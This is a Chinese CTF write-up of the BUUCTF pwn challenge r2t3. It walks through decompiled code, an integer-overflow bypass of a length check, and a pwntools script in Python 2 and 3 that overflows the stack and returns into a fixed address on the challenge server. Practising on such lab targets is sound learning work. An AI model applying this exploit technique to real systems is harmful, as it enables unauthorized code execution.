CTF-Pwn-[BJDCTF 2nd] r2t3

CTF-Pwn-[BJDCTF 2nd] r2t3

博客说明

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

CTP平台

网址

https://buuoj.cn/challenges

题目

Pwn类,[BJDCTF 2nd] r2t3

CTF-Pwn-[BJDCTF 2nd] r2t3_第1张图片

下载题目的文件

R2t3

思路

使用file命令查看,发现是32位的文件,使用ida32位打开

CTF-Pwn-[BJDCTF 2nd] r2t3_第2张图片

进入主函数,使用F5反编译后得到

CTF-Pwn-[BJDCTF 2nd] r2t3_第3张图片

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+0h] [ebp-408h]

  my_init();
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("[+]Ret2text3.0?");
  puts("[+]Please input your name:");
  read(0, &buf, 0x400u);
  name_check(&buf);
  puts("Welcome ,u win!");
  return 0;
}

首先是判断内存是否溢出

我们首先看的话说就是这个&buf,可以双击点进去看,并没有溢出

CTF-Pwn-[BJDCTF 2nd] r2t3_第4张图片

那这个题目肯定是有漏洞的,看下一个name_check这个方法,同样的双击点进去可以看到

char *__cdecl name_check(char *s)
{
  char dest; // [esp+7h] [ebp-11h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Oops,u name is too long!");
    exit(-1);
  }
  printf("Hello,My dear %s", s);
  return strcpy(&dest, s);
}

看到上述的代码,可以判断是整形溢出

安装LibcSearcher库

git clone https://github.com/lieanu/LibcSearcher.git

cd LibcSearcher

python setup.py install

写一个脚本

Python2

#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',29748)
 
p.recvuntil("name:")
payload=(0x11+0x4)*'a'+p32(0x0804858B)
payload=payload.ljust(262,'a')
p.sendline(payload)
 
p.interactive()

Ptyhon3

#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',29748)
 
p.recvuntil("name:")
payload=(0x11+0x4)*b'a'+p32(0x0804858B)
payload=payload.ljust(262,b'a')
p.sendline(payload)
 
p.interactive()

注意python版本的区别,在byte类型前面添加b,这个是python3需要的否则会报错

测试

然后我们测试运行

CTF-Pwn-[BJDCTF 2nd] r2t3_第5张图片

flag就找到了

感谢

BUUCTF

以及勤劳的自己

你可能感兴趣的:(CTF)